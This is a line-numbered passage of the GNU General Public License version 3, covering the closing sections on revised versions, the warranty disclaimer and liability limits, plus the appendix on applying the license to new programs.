License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------